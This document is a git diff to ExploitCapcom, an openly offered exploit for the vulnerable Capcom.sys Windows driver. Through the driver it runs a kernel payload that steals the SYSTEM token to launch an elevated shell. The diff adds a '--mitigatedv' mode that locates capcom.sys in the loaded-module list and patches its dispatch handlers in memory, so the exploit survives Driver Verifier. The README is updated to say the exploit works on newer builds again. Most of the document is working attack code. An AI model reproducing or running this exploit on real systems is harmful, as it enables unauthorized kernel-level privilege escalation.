diff --git a/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp b/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp index fbef855..efb0759 100644 --- a/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp +++ b/ExploitCapcom/ExploitCapcom/ExploitCapcom.cpp @@ -22,23 +22,51 @@ // typedef void *PEPROCESS; +typedef void *PERESOURCE; + +typedef enum _POOL_TYPE +{ + NonPagedPool, + NonPagedPoolExecute = NonPagedPool, +} POOL_TYPE; using PSGETCURRENTPROCESSID = HANDLE(NTAPI*)(); -using PSLOOKUPPROCESSBYPROCESSID = NTSTATUS(NTAPI *)(_In_ HANDLE ProcessId, +using PSLOOKUPPROCESSBYPROCESSID = NTSTATUS(NTAPI*)(_In_ HANDLE ProcessId, _Out_ PEPROCESS * Process); -using OBDEREFERENCEOBJECT = VOID(NTAPI *)(_In_ PVOID Object); +using OBDEREFERENCEOBJECT = VOID(NTAPI*)(_In_ PVOID Object); -using PSREFERENCEPRIMARYTOKEN = PACCESS_TOKEN(NTAPI *)( +using PSREFERENCEPRIMARYTOKEN = PACCESS_TOKEN(NTAPI*)( _Inout_ PEPROCESS Process); -using PSDEREFERENCEPRIMARYTOKEN = VOID(NTAPI *)( +using PSDEREFERENCEPRIMARYTOKEN = VOID(NTAPI*)( _In_ PACCESS_TOKEN PrimaryToken); -using MMGETSYSTEMROUTINEADDRESS = PVOID(NTAPI *)( +using MMGETSYSTEMROUTINEADDRESS = PVOID(NTAPI*)( _In_ PUNICODE_STRING SystemRoutineName); +using RTLEQUALUNICODESTRING = BOOLEAN(NTAPI*)( + _In_ PCUNICODE_STRING String1, + _In_ PCUNICODE_STRING String2, + _In_ BOOLEAN CaseInSensitive); + +using RTLINITUNICODESTRING = VOID(NTAPI*)( + _Inout_ PUNICODE_STRING DestinationString, + _In_ PCWSTR SourceString); + +using EXENTERCRITICALREGIONANDACQUIRERESOURCEEXCLUSIVE = PVOID(NTAPI*)( + _In_ PERESOURCE Resource); + +using EXRELEASERESOURCEANDLEAVECRITICALREGION = VOID(NTAPI*)( + _In_ PERESOURCE Resource); + +using EXALLOCATEPOOL = PVOID(NTAPI*)( + _In_ POOL_TYPE PoolType, _In_ SIZE_T NumberOfBytes); + +using EXFREEPOOL = VOID(NTAPI*)( + _In_ PVOID P); + // Represents shellcode to be executed #include typedef struct _SHELLCODE @@ -57,6 +85,26 @@ typedef struct _IOCTL_IN_BUFFER SHELLCODE Shellcode; } IOCTL_IN_BUFFER, *PIOCTL_IN_BUFFER; +// winternal.h does not have complete members +typedef struct _LDR_DATA_TABLE_ENTRY_EX +{ + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT TlsIndex; + LIST_ENTRY HashLinks; + PVOID SectionPointer; + ULONG CheckSum; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY_EX, * PLDR_DATA_TABLE_ENTRY_EX; + //////////////////////////////////////////////////////////////////////////////// // // prototypes @@ -82,13 +130,21 @@ static bool LaunchShell(); // Indicates whether token stealing is done successfully static BOOLEAN gIsTokenStealingSuccessful = FALSE; +// Indicates mitigation for driver verifier +static BOOLEAN gIsDvMitigationEnabled = FALSE; + //////////////////////////////////////////////////////////////////////////////// // // implementations // -int main() +int main(int argc, const char* argv[]) { + if (argc > 1 && strcmp(argv[1], "--mitigatedv") == 0) + { + gIsDvMitigationEnabled = TRUE; + } + ExploitCapcomDriver(); return 0; } @@ -107,6 +163,11 @@ static bool ExploitCapcomDriver() std::cout << std::hex; std::cout << "[*] Capcom.sys exploit" << std::endl; + if (gIsDvMitigationEnabled == TRUE) + { + std::cout << "[*] DV mitigation is enabled" << std::endl; + } + // Open the device created by Capcom.sys auto DeviceHandle = make_unique_ex( CreateFile(TEXT("\\\\.\\Htsysm72FB"), GENERIC_READ | GENERIC_WRITE, @@ -224,6 +285,83 @@ static void KernelPayload(MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress) *reinterpret_cast(GetSystemRoutineAddress( MmGetSystemRoutineAddress, L"PsInitialSystemProcess")); + if (gIsDvMitigationEnabled == TRUE) + { + auto RtlEqualUnicodeString = + reinterpret_cast(GetSystemRoutineAddress( + MmGetSystemRoutineAddress, L"RtlEqualUnicodeString")); + + auto RtlInitUnicodeString = + reinterpret_cast(GetSystemRoutineAddress( + MmGetSystemRoutineAddress, L"RtlInitUnicodeString")); + + auto ExAllocatePool = + reinterpret_cast(GetSystemRoutineAddress( + MmGetSystemRoutineAddress, L"ExAllocatePool")); + + auto ExFreePool = + reinterpret_cast(GetSystemRoutineAddress( + MmGetSystemRoutineAddress, L"ExFreePool")); + + auto PsLoadedModuleList = + *reinterpret_cast(GetSystemRoutineAddress( + MmGetSystemRoutineAddress, L"PsLoadedModuleList")); + + auto PsLoadedModuleResource = + *reinterpret_cast(GetSystemRoutineAddress( + MmGetSystemRoutineAddress, L"PsLoadedModuleResource")); + + auto ExEnterCriticalRegionAndAcquireResourceExclusive = + reinterpret_cast(GetSystemRoutineAddress( + MmGetSystemRoutineAddress, L"ExEnterCriticalRegionAndAcquireResourceExclusive")); + + auto ExReleaseResourceAndLeaveCriticalRegion = + reinterpret_cast(GetSystemRoutineAddress( + MmGetSystemRoutineAddress, L"ExReleaseResourceAndLeaveCriticalRegion")); + + // Disable normal kernel APCs and acquire resource + ExEnterCriticalRegionAndAcquireResourceExclusive(PsLoadedModuleResource); + + // Critical region starts herewith below + { + UNICODE_STRING CapcomNameUs; + RtlInitUnicodeString(&CapcomNameUs, L"capcom.sys"); + + for (PLIST_ENTRY Entry = PsLoadedModuleList; + Entry != PsLoadedModuleList->Blink; + Entry = Entry->Flink) + { + PLDR_DATA_TABLE_ENTRY_EX LdrEntry = + CONTAINING_RECORD(Entry, LDR_DATA_TABLE_ENTRY_EX, InLoadOrderModuleList); + + if (RtlEqualUnicodeString(&CapcomNameUs, &LdrEntry->BaseDllName, TRUE) == TRUE) + { + BYTE PatchShellcode[] = { + 0x33, 0xC0, // xor edx, edx + 0x90 // nop + }; + + // Patch for IRP_MJ_DEVICE_CONTROL + memcpy( + (void*)((UINT_PTR)LdrEntry->DllBase + 0x631), + &PatchShellcode, + sizeof(PatchShellcode)); + + // Patch for IRP_MJ_CREATE and IRP_MJ_CLOSE + memcpy( + (void*)((UINT_PTR)LdrEntry->DllBase + 0x518), + &PatchShellcode, + sizeof(PatchShellcode)); + + break; + } + } + } + // Critical region ends + + ExReleaseResourceAndLeaveCriticalRegion(PsLoadedModuleResource); + } + // Get the process object of the current process PEPROCESS CurrentProcess = nullptr; NTSTATUS Status = PsLookupProcessByProcessId(PsGetCurrentProcessId(), diff --git a/README.md b/README.md index e109b79..e77dd4f 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,9 @@ ExploitCapcom ❗❗Obsolete❗❗ ------------- -This exploit no longer works since Windows 10 20H2 (Build 19042), and the author will not provide a fix or workaround for it. See [issue #3](https://github.com/tandasat/ExploitCapcom/issues/3) for more details. +This exploit no longer works since Windows 10 20H2 (Build 19042) while DV (*Driver Verifier*) is enabled. See [issue #3](https://github.com/tandasat/ExploitCapcom/issues/3) and [PR #4](https://github.com/tandasat/ExploitCapcom/pull/4) for more details. + +In order to avoid DV crash, use `--mitigatedv` parameter. e.g, `ExploitCapcom.exe --mitigatedv`. Description